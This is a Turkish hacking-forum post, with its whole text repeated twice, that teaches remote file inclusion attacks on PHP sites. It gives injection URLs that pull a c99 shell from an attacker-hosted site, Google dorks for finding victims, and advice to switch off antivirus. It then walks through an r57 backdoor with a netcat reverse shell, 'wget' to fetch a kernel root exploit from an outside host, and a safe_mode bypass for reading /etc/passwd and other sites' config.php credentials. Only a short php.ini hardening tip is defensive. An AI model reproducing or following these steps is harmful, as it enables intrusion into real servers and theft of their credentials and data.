ScarySpy
Spys-Z
- Katılım
- 22 Ocak 2014
- Mesajlar
- 1,000
- Tepkime puanı
- 0
- Puanları
- 0
-----------------------------------www.ajanlar.org Scary-----------------------------------
# RFI Tanımı
# RFI Örnek açıklar
# RFI(Püf noktalar)
# Açıkları bulmak
# Açık oluşturma ve Fixleme
# Scripti otomatik arama
# Server Rooting (Back door)
# Safe-mod:ON bypass yöntemi
# RFI Tanımı
PHP özellikle saldırıya açıktır: PHP, uzaktan dosya içerik (RFI) saldırıları ile herhangi bir dosya veya
akış (stream) tabanlı API ile sisteme zarar verilebilir. Rfi Php scriptlerinde olur ve orda text dosyasındaki kodlar server da php olarak algılanır ve php olarak çalışır. RFI açıkları html sitelerinde olmaz , sitenizin tabanı ne olursa olsun asp,php,html,joomla önemli olan şudur shell inizi kodladığınız dil ve rfi açığı olan sitenin dili aynı ise işlem gerçekleşir siz php ile yazılmış bir FSO yu asp tabanli bir siteye uploud edip kullanabilirsiniz
yeterki hedef sitede php tabanli olsun
# RFI Örnek açıklar
http://examples/patExampleGen/bbcodeSource.php?example=[SHELL]
http://localhost/path/starnet/themes…nc.php?cmsdir=%5BSHELL%5D
http://localhost/path/administrator/…absolute_path=%5BSHELL%5D
/includes/functions_mod_user.php?phpbb_root_path=[SHELL]
Buq sitelerinde bu şekilde exploit verilir peki bunu nasıl arayacağız
kodlara dikkatlice bakın “=[SHELL]” yazısından sonra geriye dogru gelin ilk “/” işaretini bulun ondan önceki
tümceyi aratın yukarda 4 kod var şu şeklide aranacak
kod1=inurl: Powerd by patExampleGen
kod2=inurl:c-sky
kod3=inurl:com_juser
kod4=inurl: phpbb_root_path
Bu arama şekilleri buglarla fazla uğraşınca sizde oturacaktır yada bazi exploitler
direk DORK verir verdiği dork’u aratın dork vermediği koşulda yukardaki yöntemi deneyin.
* Google komutları
“allintitle” : Arama sonuçlarını , tüm arama kriterleri tarayıcının başlık çubuğunda bulunan sayfalar ile sınırlandırır.
“intitle” :”allintitle” operatöründen farklı olarak sadece ilk arama kriteleri başlık satırında aranır.Diğer
kelimeler ise metin içerisinde taranır.
“allinurl” : Tüm arama kriterlerinin adres içerisinde bulunmasını istediğiniz durumlarda bu operatörü kullanabilirsiniz.
“inurl” : “intitle” operatöründe olduğu gibi sadece ilk arama kriteri adres çunuğundaki ifade içerisinde aranır .
“..”(Numrange) : Sayı aramalarında isterseniz bir aralık tanımlayabilirsiniz.
Örn: “100..150¨ şeklindeki bir kriteri 100 ve 150 arasındaki sayıları içeren sayfaları görüntüler.
“daterange”: 123-456 Bu operatör ile sonuç kümesini belirli zaman aralığı ile sınırlandırabilirsiniz.Parametreler
jüliyen takvimi biçimindedir.
“ext”: Bu sayede Belirlediğiniz bir dosya biçimini arata bilirsiniz.Alternatif olarak “filetype:” olarakta kullanılabilinir.
“cache”: Bu komutu kullanarak bulunan web sayfasını google belleğinden çağırabilirsiniz.Sunucu mevcut değilse pratik
bir çözüm olabilir.
“site”: Bu komut belirli bir web sitesinden arama yapar . örn: “site:http://www…..com google ile casusluk . ! ” gibi .
“related”:Google,bu ön ek sayesinde benzer web sayfalarını görüntüler.
“info”: Bu komut ile web sayfası hakkında kısa bir açıklama elde edebilirsiniz.
“link”: girilen sayfa üzerinde bir bağlantı ile işaret edilen tüm web sayfalarını görüntüler.
En çok kullanılanlar : “inurl”,”..”,”ext”,”cache”,”info” dur.
Örnek: allinurl:”.asp?site=http://”
allinurl:”.php?main=http://”
# RFI(Püf noktalar)
uzaktan listpatch (PHP`deki FSO) çalıştırabiliriz. Listpatch`i php destekleyen ama kodları compile etmeyen bir hosta atacağız. Yani kodlar attığımız hostta çalışırsa, include edeceğimiz hostta görevini görmeyecektir
sonra php Listpatch`imizi(Shell adreslerimizi) içeriye atıyoruz.
Bedava shell adresi saglayan siteler veya kendi hostunuz olabilir(shell’leri atmak için) www.xxx.com bu bizim sitemiz olsun ve biz buna c99 shellimizi upload ettik www.xxx.com/c99.txt? text seklinde yüklendi şimdi bunu siteye enjekte edelim http://localhost/path/index.php?cmsdir=http://www.xxx.com/c99.txt?
shell adresinin sonuna “?” işareti koymayı unutmayın yoksa çalışmaz
Nnetcat ile post dinleme yapılacak local den, remote shelldende komut yazarak o porta panel gelmesi saglanacak. işlem başarılı olunca netcat server konsol haline dönecektir.
Konsol geldikten sonra Shell in özelliklerine göre sitede ne yapmak istiyorsanız onları yapabilirsiniz.
Bazen kullandığınız internet security ve antivirusler shelleri zararli kod olarak algılar ve işlemi yapmanızı engeller bu yüzden Remote File Inclusion(RFI) işini yaparken bu programları kapalı tutun işiniz bitince tekrar aktif hale getirirsiniz.
Exploits/Vulnerabilities siteleri
http://www.frsirt.com/english
http://www.securiteam.com
http://www.web-hack.ru/exploit/
http://www.governmentsecurity.org/exploits.php
http://www.phreak.org/html/exploits.shtml
http://www.packetstormsecurity.org/
http://www.guninski.com/
http://www.securityfocus.com/archive/1
http://www.milw0rm.com/
http://www.xatrix.org/
http://securitydot.net/exploits/
http://www.synnergy.net/downloads/exploits/
# Açıkları bulmak
RFI Açıkları bulma yöntemleri Buq sitelerinden bakılır ve Dork verilir bu dorku google aratırsınız veya “vuln sepetini” örnek $phpbb_root_path “$” olmadan Google Code Search adresinde aratırsınız sitelerin scriptlerinde kodu arar veya exploit sitelerinden siz arayabilirsiniz Hot Scripts – The net’s largest PHP, CGI, Perl, JavaScript and ASP Script collection and resource web portal. sitesi örneğin burdan scripti çekerek
aratırsınız
manuel aramada şu kelimeler scripte aranır
include
include_once
require
require_once
Define
fsockopen
file_get_contents
fopen
Scriptleri Macromedia Dreamweaver 8 yada Notepad2 programları ile açıp kodları aratabilirsiniz biraz bu kodlardan bahsedelim ben iki ana koddan bahsedeceğim. include: dosyayı başka dosyaya dahil etmek demektir siz bir scripteki include kodu ile o scripteki tüm verileri çağırabilirsiniz anlamındadır yani iki include kodu arasındaki veriler bize bütün scripti çagırabilir require ise sadece o satırdaki kodu çağırır eğer oluşturduğunuz kod doğru ise ve shell gelmiyorsa scripteki rfi vuln satırından önceki satırda vuln tanımlanmiştir ve rfi çalışmaz
# Açık oluşturma ve Fixleme
Örnek.1
Script dosyası adı = functions.php
Açık:
include_once( $phpbb_root_path . ‘./includes/functions_categories_hierarchy.’ . $phpex );
RFI kodumuz:
includes/functions.phpbb_root_path=[SHELL]
“phpbb_root_path” bizim vuln sepetimizdir eger bu rfi acığını fixlemek istersek
include_once( $phpbb_root_path . ‘./includes/functions_categories_hierarchy.’ . $phpex );
kodunun bulunduğu satırın bir üstüne şu kodu eklememiz gerekir
define(‘IN_PHPBB’, true);
$phpbb_root_path= ‘./’;
$functions_root_path = $phpbb_root_path . ‘functions_mod/’;
Örnek.2
Kodlar = mcGalleryPRO scriptinden alınmıştır
Script dosyası adı = random2.php
Açık:
include (“$path_to_folder/admin/common.php” );
include (“$path_to_folder/lang/$lang_def” );
Not:$ işareti olan parametrelere dikkat edin path_to_folder ve lang_def ilk parametreyi kullanarak rfi
yapılabilmektedir.nedeni bu değişkenin daha önce sabit bir değere eşitlenmemiş olmasıdır.
RFI kodumuz:
http://www.victimsite.com/mcGalleryP…ath_to_folder=%5BSHELL%5D
Fix:
define(‘IN_PHPBB’, true);
$path_to_folder= “./”;
$random2_to_folder = $path_to_folder . ‘random2_mod/’;
Dipnot: açık bulunan kod satırının üst satırlarından birinde “defined” , “if” gibi ibareler varsa o açıkta fixlenmiştir buda bir açık fixleme yöntemidir açık satırını iptal ediyor bu şekilde webmaster
Önemli Dipnot:
if (file_exists(“{$this->db->include_path}/lang/{$this-&g t;VARS[&lang&]}.php”)) {
KOD: file_exists ;
Bu komut ile dosya adının geçerliliğini kontrol ediyor[varmı yokmu] Sonrasında burda bir karşılaştırma
kullanılmış gördüğünüz gibi . eğer verdiği dosya adı geçerli ise
$LANG_CODES = “{$this->db->include_path}/lang/{$this->VARS[&lang&]}.php”;
bu kodları çalıştırıyor.Dosya eğer varsa arkadaşımızın dediği gibi bir yol atama olduğundan dolayı include uğramaz.
eğer dosyamız yoksa yani else ;
else {
$LANG_CODES = “{$this->db->include_path}/lang/english.php”;
}
olumsuz olduğu zamanda tekrar yol belirtiyor.kısaca if ler herzaman fixlemez önemli olan karşılaştırmanın
nasıl başladığı ve nasıl bittiğidir. eğerki komutların else bölümünde
else {
include “$LANG_CODES”;
}
gibi olsaydı burada dosya adını bulamadığı anda include oluşurdu yani LANG_CODES değişkenimiz include uğrardı.
(Herhangi) Script Otomatik Taramak
inc adinda bir exploit dosyamiz var bu exploiti inc.pl şeklinde active perl bin’e kaydediyoruz.
ardından çaliştiriyoruz Ms-Dos’tan “Directory to read?” ve bize bunu soruyor biz tüm script dosyalarını
bir klasöre kopyaliyoruz adınada scripts diyelim sonro bu klasörü PERL/BIN e atıyoruz daha sonra bize exploit
“Directory to read?” diye sormuştu scripts yazıyoruz ve entere basıyoruz exploit RFI kodlarını arayıp
PERL/BIN içine Results adlı .htm dosyası oluşturuyor içinde bulduğu RFI açıkları var nc.pl dosyaları tarama işlemini bitirince size şu şekilde bir mesaj verecek: ”Done! Check results.html for the found inclusions!”
sonra Results inceliyoruz ve gereken RFI exploit kodunu bulup shell ile bağlanıyoruz.
ArkaKapı oluşturma (Server Rooting)
Bu Döküman r57shell üstünden anlatilmistir.
Rfi açığından sızdığımız siteye r57 shell ile bağlanırız
Arka kapı oluşturabilirz Safe Mode : OFF
Server : burda bulundugu server çeşidi yazar örnek olarak
“System Linux node2.c26 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 “
“Apache/1.3.37 (Unix) mod_ssl/2.8.28 OpenSSL/0.9.7f PHP/4.4.2 mod_perl/1.29 FrontPage/5.0.2.2510¨ gibi
R57 nin uploud özelliğinden yararlanarak back-connect.php dosyasını uploud ederiz sonra R57 nin dosyalar kısmında back-connect.php yi yüklendiğini göreceksiniz.
Script Daha sonra R57 de “pwd” yazan yere alip şu şekli yapicaz örnek
pwd: /localhost.com/public_html (bende)
http://localhost.com/public_html/back-connect.php browsera yazıp enterleyin.
Pc nizde port açmak zorundasınız
8080 , 8888 , 2121 hepsi olabilir tcp + udp (hem tcp de hem udp de acık olcak bu portlar)
PortForward.com - Free Help Setting up Your Router or Firewall burdan portlarınızı açabilirsiniz.
Windowstan aynı portu açmak için ise Yerel Ağ Bağlantısı’na gelin sağ tuklayın özellikler sonra gelişmiş
sekmesine basın ordan ayarlar ordan özel durumlar sonra Bağlantı noktası ekleye basın modemden açtığınız portun windows firewall’undan da açılmasını sağlayabilirsiniz.
Sonra R57 imizdeki back-connect kutucuğuna geliyoruz ve İP kısmına kendi ipmizi altına port kısmına
Açtığımız portu yaziyoruz connect diyoruz
Şimdi Netcat indiriyoruz PC mize ve System32 içine atıyoruz daha sonra başlat çalıştır kısmına
“nc -vv -l -p portnumarası” (“,”) yok yazıp Enter’e basıyoruz listening diyor sonra bağlanıyoruz
Server’ımıza uygun local kernel exploit buluyoruz yani shellcode C dilinde yazılmıştır. milw0rm’da
bulduk diyelim kernel.c sonra bunu bir hostta aticagiz kendi hostunuzda olabilir burdan exploiti cekin
ms-dos’a “wget http://www.host.com/kernel.c”; (“,”) yok şimdi kernel.c yi derleyelim gene MS-DOSTA
gcc -o root kernel.c yazın enterleyin sonra ./root yazıp çalıştırın
2.yol back-connect.php yüklemiştik örnek bizim açigimiz şu şekil olsun
[Taget]/[Path]/index.php?skin_file=[shell] biz bunu şu şekil yapicaz
[Taget]/[Path]/back-connect.php browsera yazın ve enter basın
Komut giricez back-connect.php’de açılan sayfada “wget http://www.host.com/kernel.exe”; (“,”)yok
1.yoldali kernel.c yi .exe olarak derledik ve bir hostta attık ordan kernel.exe yi çekiyoruz , kontrol edelim
[Taget]/[Path]/back-connect.php?c=dir yazın ve kernel.exe ordamı bakın çekilimiştir sonra browsera şunu yazın
[Taget]/[Path]/back-connect.php?c= nc -l -p portnumarası -d -e cmd.exe
(port numarası PC nizden açmış olduğunuz port numarası) sonra Putty i açarız ve açmış olduğumuz port numarasını
yazarız yanına sitenin IP sini yazariz protocol Raw seçeriz putty’de Open’a basarız bağlanırız.
# Safe-mod: ON bypass yöntemi
sitede config.php yok iken ve safe-mod:ON iken birşey uploud edemeyiz ama gelişmiş r57'nin
PHP bypass yöntemi ile bunu aşabiliriz.
::Test bypass safe_mode wiew file contest via imap body::
özelliği vardır R57'de komutu ise “/etc/passwd” budur “test” e basarız ve server daki siteler yukarda sıralanır.
::Test bypass safe_mode wiew file contest via imap list::
bu kısm şu şekildedir bulundugu dizin der “/home/fotograf1/domains/localhost/public_html”
bu kısma istedigimiz siteyi yazarız server’da misal şu şekil yazıcaz sitemiz “localhost2¨ olsun
“/home/fotograf1/domains/localhost2/” “test” tışuna bastıktan sonra yukarda localhost2'nin dosyaları gelir
ordan config.php dosyasını bulur ve ulaşırız.
linki alırız şu şekilde “/home/fotograf1/domains/localhost2/config.php” ve bu linki
::Test bypass safe_mode wiew file contest via imap body::
yapıştırırız ve “test” tuşuna basarız.
ve DB ile ilgili bilgiler gelir r57'mizde “Run SQL query” bölümüne gideriz Login ve Password kısımlarını
Config.php deki bilgiye göre doldururuz ve Execute tuşuna basarız.
File Inclusion açıklarından korunmak hakkında ufak bir püf noktası
File Inclusion açıklarından yararlanarak sisteme upload edilen listpatchlerden korunmak
için aşağıdaki yolu izleyebilirsiniz…
/etc/php.ini dosyasını açın
disable_function satırını buluyoruz ve karşısına bunları ekliyoruz.
system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,
allow_url_fopen,shell,shellexec,execute
service htttpd restart diyoruz
NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız.
Şimdiden Teşşekürler
şimdide n teşekürler
# RFI Tanımı
# RFI Örnek açıklar
# RFI(Püf noktalar)
# Açıkları bulmak
# Açık oluşturma ve Fixleme
# Scripti otomatik arama
# Server Rooting (Back door)
# Safe-mod:ON bypass yöntemi
# RFI Tanımı
PHP özellikle saldırıya açıktır: PHP, uzaktan dosya içerik (RFI) saldırıları ile herhangi bir dosya veya
akış (stream) tabanlı API ile sisteme zarar verilebilir. Rfi Php scriptlerinde olur ve orda text dosyasındaki kodlar server da php olarak algılanır ve php olarak çalışır. RFI açıkları html sitelerinde olmaz , sitenizin tabanı ne olursa olsun asp,php,html,joomla önemli olan şudur shell inizi kodladığınız dil ve rfi açığı olan sitenin dili aynı ise işlem gerçekleşir siz php ile yazılmış bir FSO yu asp tabanli bir siteye uploud edip kullanabilirsiniz
yeterki hedef sitede php tabanli olsun
# RFI Örnek açıklar
http://examples/patExampleGen/bbcodeSource.php?example=[SHELL]
http://localhost/path/starnet/themes…nc.php?cmsdir=%5BSHELL%5D
http://localhost/path/administrator/…absolute_path=%5BSHELL%5D
/includes/functions_mod_user.php?phpbb_root_path=[SHELL]
Buq sitelerinde bu şekilde exploit verilir peki bunu nasıl arayacağız
kodlara dikkatlice bakın “=[SHELL]” yazısından sonra geriye dogru gelin ilk “/” işaretini bulun ondan önceki
tümceyi aratın yukarda 4 kod var şu şeklide aranacak
kod1=inurl: Powerd by patExampleGen
kod2=inurl:c-sky
kod3=inurl:com_juser
kod4=inurl: phpbb_root_path
Bu arama şekilleri buglarla fazla uğraşınca sizde oturacaktır yada bazi exploitler
direk DORK verir verdiği dork’u aratın dork vermediği koşulda yukardaki yöntemi deneyin.
* Google komutları
“allintitle” : Arama sonuçlarını , tüm arama kriterleri tarayıcının başlık çubuğunda bulunan sayfalar ile sınırlandırır.
“intitle” :”allintitle” operatöründen farklı olarak sadece ilk arama kriteleri başlık satırında aranır.Diğer
kelimeler ise metin içerisinde taranır.
“allinurl” : Tüm arama kriterlerinin adres içerisinde bulunmasını istediğiniz durumlarda bu operatörü kullanabilirsiniz.
“inurl” : “intitle” operatöründe olduğu gibi sadece ilk arama kriteri adres çunuğundaki ifade içerisinde aranır .
“..”(Numrange) : Sayı aramalarında isterseniz bir aralık tanımlayabilirsiniz.
Örn: “100..150¨ şeklindeki bir kriteri 100 ve 150 arasındaki sayıları içeren sayfaları görüntüler.
“daterange”: 123-456 Bu operatör ile sonuç kümesini belirli zaman aralığı ile sınırlandırabilirsiniz.Parametreler
jüliyen takvimi biçimindedir.
“ext”: Bu sayede Belirlediğiniz bir dosya biçimini arata bilirsiniz.Alternatif olarak “filetype:” olarakta kullanılabilinir.
“cache”: Bu komutu kullanarak bulunan web sayfasını google belleğinden çağırabilirsiniz.Sunucu mevcut değilse pratik
bir çözüm olabilir.
“site”: Bu komut belirli bir web sitesinden arama yapar . örn: “site:http://www…..com google ile casusluk . ! ” gibi .
“related”:Google,bu ön ek sayesinde benzer web sayfalarını görüntüler.
“info”: Bu komut ile web sayfası hakkında kısa bir açıklama elde edebilirsiniz.
“link”: girilen sayfa üzerinde bir bağlantı ile işaret edilen tüm web sayfalarını görüntüler.
En çok kullanılanlar : “inurl”,”..”,”ext”,”cache”,”info” dur.
Örnek: allinurl:”.asp?site=http://”
allinurl:”.php?main=http://”
# RFI(Püf noktalar)
uzaktan listpatch (PHP`deki FSO) çalıştırabiliriz. Listpatch`i php destekleyen ama kodları compile etmeyen bir hosta atacağız. Yani kodlar attığımız hostta çalışırsa, include edeceğimiz hostta görevini görmeyecektir
sonra php Listpatch`imizi(Shell adreslerimizi) içeriye atıyoruz.
Bedava shell adresi saglayan siteler veya kendi hostunuz olabilir(shell’leri atmak için) www.xxx.com bu bizim sitemiz olsun ve biz buna c99 shellimizi upload ettik www.xxx.com/c99.txt? text seklinde yüklendi şimdi bunu siteye enjekte edelim http://localhost/path/index.php?cmsdir=http://www.xxx.com/c99.txt?
shell adresinin sonuna “?” işareti koymayı unutmayın yoksa çalışmaz
Nnetcat ile post dinleme yapılacak local den, remote shelldende komut yazarak o porta panel gelmesi saglanacak. işlem başarılı olunca netcat server konsol haline dönecektir.
Konsol geldikten sonra Shell in özelliklerine göre sitede ne yapmak istiyorsanız onları yapabilirsiniz.
Bazen kullandığınız internet security ve antivirusler shelleri zararli kod olarak algılar ve işlemi yapmanızı engeller bu yüzden Remote File Inclusion(RFI) işini yaparken bu programları kapalı tutun işiniz bitince tekrar aktif hale getirirsiniz.
Exploits/Vulnerabilities siteleri
http://www.frsirt.com/english
http://www.securiteam.com
http://www.web-hack.ru/exploit/
http://www.governmentsecurity.org/exploits.php
http://www.phreak.org/html/exploits.shtml
http://www.packetstormsecurity.org/
http://www.guninski.com/
http://www.securityfocus.com/archive/1
http://www.milw0rm.com/
http://www.xatrix.org/
http://securitydot.net/exploits/
http://www.synnergy.net/downloads/exploits/
# Açıkları bulmak
RFI Açıkları bulma yöntemleri Buq sitelerinden bakılır ve Dork verilir bu dorku google aratırsınız veya “vuln sepetini” örnek $phpbb_root_path “$” olmadan Google Code Search adresinde aratırsınız sitelerin scriptlerinde kodu arar veya exploit sitelerinden siz arayabilirsiniz Hot Scripts – The net’s largest PHP, CGI, Perl, JavaScript and ASP Script collection and resource web portal. sitesi örneğin burdan scripti çekerek
aratırsınız
manuel aramada şu kelimeler scripte aranır
include
include_once
require
require_once
Define
fsockopen
file_get_contents
fopen
Scriptleri Macromedia Dreamweaver 8 yada Notepad2 programları ile açıp kodları aratabilirsiniz biraz bu kodlardan bahsedelim ben iki ana koddan bahsedeceğim. include: dosyayı başka dosyaya dahil etmek demektir siz bir scripteki include kodu ile o scripteki tüm verileri çağırabilirsiniz anlamındadır yani iki include kodu arasındaki veriler bize bütün scripti çagırabilir require ise sadece o satırdaki kodu çağırır eğer oluşturduğunuz kod doğru ise ve shell gelmiyorsa scripteki rfi vuln satırından önceki satırda vuln tanımlanmiştir ve rfi çalışmaz
# Açık oluşturma ve Fixleme
Örnek.1
Script dosyası adı = functions.php
Açık:
include_once( $phpbb_root_path . ‘./includes/functions_categories_hierarchy.’ . $phpex );
RFI kodumuz:
includes/functions.phpbb_root_path=[SHELL]
“phpbb_root_path” bizim vuln sepetimizdir eger bu rfi acığını fixlemek istersek
include_once( $phpbb_root_path . ‘./includes/functions_categories_hierarchy.’ . $phpex );
kodunun bulunduğu satırın bir üstüne şu kodu eklememiz gerekir
define(‘IN_PHPBB’, true);
$phpbb_root_path= ‘./’;
$functions_root_path = $phpbb_root_path . ‘functions_mod/’;
Örnek.2
Kodlar = mcGalleryPRO scriptinden alınmıştır
Script dosyası adı = random2.php
Açık:
include (“$path_to_folder/admin/common.php” );
include (“$path_to_folder/lang/$lang_def” );
Not:$ işareti olan parametrelere dikkat edin path_to_folder ve lang_def ilk parametreyi kullanarak rfi
yapılabilmektedir.nedeni bu değişkenin daha önce sabit bir değere eşitlenmemiş olmasıdır.
RFI kodumuz:
http://www.victimsite.com/mcGalleryP…ath_to_folder=%5BSHELL%5D
Fix:
define(‘IN_PHPBB’, true);
$path_to_folder= “./”;
$random2_to_folder = $path_to_folder . ‘random2_mod/’;
Dipnot: açık bulunan kod satırının üst satırlarından birinde “defined” , “if” gibi ibareler varsa o açıkta fixlenmiştir buda bir açık fixleme yöntemidir açık satırını iptal ediyor bu şekilde webmaster
Önemli Dipnot:
if (file_exists(“{$this->db->include_path}/lang/{$this-&g t;VARS[&lang&]}.php”)) {
KOD: file_exists ;
Bu komut ile dosya adının geçerliliğini kontrol ediyor[varmı yokmu] Sonrasında burda bir karşılaştırma
kullanılmış gördüğünüz gibi . eğer verdiği dosya adı geçerli ise
$LANG_CODES = “{$this->db->include_path}/lang/{$this->VARS[&lang&]}.php”;
bu kodları çalıştırıyor.Dosya eğer varsa arkadaşımızın dediği gibi bir yol atama olduğundan dolayı include uğramaz.
eğer dosyamız yoksa yani else ;
else {
$LANG_CODES = “{$this->db->include_path}/lang/english.php”;
}
olumsuz olduğu zamanda tekrar yol belirtiyor.kısaca if ler herzaman fixlemez önemli olan karşılaştırmanın
nasıl başladığı ve nasıl bittiğidir. eğerki komutların else bölümünde
else {
include “$LANG_CODES”;
}
gibi olsaydı burada dosya adını bulamadığı anda include oluşurdu yani LANG_CODES değişkenimiz include uğrardı.
(Herhangi) Script Otomatik Taramak
inc adinda bir exploit dosyamiz var bu exploiti inc.pl şeklinde active perl bin’e kaydediyoruz.
ardından çaliştiriyoruz Ms-Dos’tan “Directory to read?” ve bize bunu soruyor biz tüm script dosyalarını
bir klasöre kopyaliyoruz adınada scripts diyelim sonro bu klasörü PERL/BIN e atıyoruz daha sonra bize exploit
“Directory to read?” diye sormuştu scripts yazıyoruz ve entere basıyoruz exploit RFI kodlarını arayıp
PERL/BIN içine Results adlı .htm dosyası oluşturuyor içinde bulduğu RFI açıkları var nc.pl dosyaları tarama işlemini bitirince size şu şekilde bir mesaj verecek: ”Done! Check results.html for the found inclusions!”
sonra Results inceliyoruz ve gereken RFI exploit kodunu bulup shell ile bağlanıyoruz.
ArkaKapı oluşturma (Server Rooting)
Bu Döküman r57shell üstünden anlatilmistir.
Rfi açığından sızdığımız siteye r57 shell ile bağlanırız
Arka kapı oluşturabilirz Safe Mode : OFF
Server : burda bulundugu server çeşidi yazar örnek olarak
“System Linux node2.c26 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 “
“Apache/1.3.37 (Unix) mod_ssl/2.8.28 OpenSSL/0.9.7f PHP/4.4.2 mod_perl/1.29 FrontPage/5.0.2.2510¨ gibi
R57 nin uploud özelliğinden yararlanarak back-connect.php dosyasını uploud ederiz sonra R57 nin dosyalar kısmında back-connect.php yi yüklendiğini göreceksiniz.
Script Daha sonra R57 de “pwd” yazan yere alip şu şekli yapicaz örnek
pwd: /localhost.com/public_html (bende)
http://localhost.com/public_html/back-connect.php browsera yazıp enterleyin.
Pc nizde port açmak zorundasınız
8080 , 8888 , 2121 hepsi olabilir tcp + udp (hem tcp de hem udp de acık olcak bu portlar)
PortForward.com - Free Help Setting up Your Router or Firewall burdan portlarınızı açabilirsiniz.
Windowstan aynı portu açmak için ise Yerel Ağ Bağlantısı’na gelin sağ tuklayın özellikler sonra gelişmiş
sekmesine basın ordan ayarlar ordan özel durumlar sonra Bağlantı noktası ekleye basın modemden açtığınız portun windows firewall’undan da açılmasını sağlayabilirsiniz.
Sonra R57 imizdeki back-connect kutucuğuna geliyoruz ve İP kısmına kendi ipmizi altına port kısmına
Açtığımız portu yaziyoruz connect diyoruz
Şimdi Netcat indiriyoruz PC mize ve System32 içine atıyoruz daha sonra başlat çalıştır kısmına
“nc -vv -l -p portnumarası” (“,”) yok yazıp Enter’e basıyoruz listening diyor sonra bağlanıyoruz
Server’ımıza uygun local kernel exploit buluyoruz yani shellcode C dilinde yazılmıştır. milw0rm’da
bulduk diyelim kernel.c sonra bunu bir hostta aticagiz kendi hostunuzda olabilir burdan exploiti cekin
ms-dos’a “wget http://www.host.com/kernel.c”; (“,”) yok şimdi kernel.c yi derleyelim gene MS-DOSTA
gcc -o root kernel.c yazın enterleyin sonra ./root yazıp çalıştırın
2.yol back-connect.php yüklemiştik örnek bizim açigimiz şu şekil olsun
[Taget]/[Path]/index.php?skin_file=[shell] biz bunu şu şekil yapicaz
[Taget]/[Path]/back-connect.php browsera yazın ve enter basın
Komut giricez back-connect.php’de açılan sayfada “wget http://www.host.com/kernel.exe”; (“,”)yok
1.yoldali kernel.c yi .exe olarak derledik ve bir hostta attık ordan kernel.exe yi çekiyoruz , kontrol edelim
[Taget]/[Path]/back-connect.php?c=dir yazın ve kernel.exe ordamı bakın çekilimiştir sonra browsera şunu yazın
[Taget]/[Path]/back-connect.php?c= nc -l -p portnumarası -d -e cmd.exe
(port numarası PC nizden açmış olduğunuz port numarası) sonra Putty i açarız ve açmış olduğumuz port numarasını
yazarız yanına sitenin IP sini yazariz protocol Raw seçeriz putty’de Open’a basarız bağlanırız.
# Safe-mod: ON bypass yöntemi
sitede config.php yok iken ve safe-mod:ON iken birşey uploud edemeyiz ama gelişmiş r57'nin
PHP bypass yöntemi ile bunu aşabiliriz.
::Test bypass safe_mode wiew file contest via imap body::
özelliği vardır R57'de komutu ise “/etc/passwd” budur “test” e basarız ve server daki siteler yukarda sıralanır.
::Test bypass safe_mode wiew file contest via imap list::
bu kısm şu şekildedir bulundugu dizin der “/home/fotograf1/domains/localhost/public_html”
bu kısma istedigimiz siteyi yazarız server’da misal şu şekil yazıcaz sitemiz “localhost2¨ olsun
“/home/fotograf1/domains/localhost2/” “test” tışuna bastıktan sonra yukarda localhost2'nin dosyaları gelir
ordan config.php dosyasını bulur ve ulaşırız.
linki alırız şu şekilde “/home/fotograf1/domains/localhost2/config.php” ve bu linki
::Test bypass safe_mode wiew file contest via imap body::
yapıştırırız ve “test” tuşuna basarız.
ve DB ile ilgili bilgiler gelir r57'mizde “Run SQL query” bölümüne gideriz Login ve Password kısımlarını
Config.php deki bilgiye göre doldururuz ve Execute tuşuna basarız.
File Inclusion açıklarından korunmak hakkında ufak bir püf noktası
File Inclusion açıklarından yararlanarak sisteme upload edilen listpatchlerden korunmak
için aşağıdaki yolu izleyebilirsiniz…
/etc/php.ini dosyasını açın
disable_function satırını buluyoruz ve karşısına bunları ekliyoruz.
system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,
allow_url_fopen,shell,shellexec,execute
service htttpd restart diyoruz
NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız.
Şimdiden Teşşekürler
şimdide n teşekürler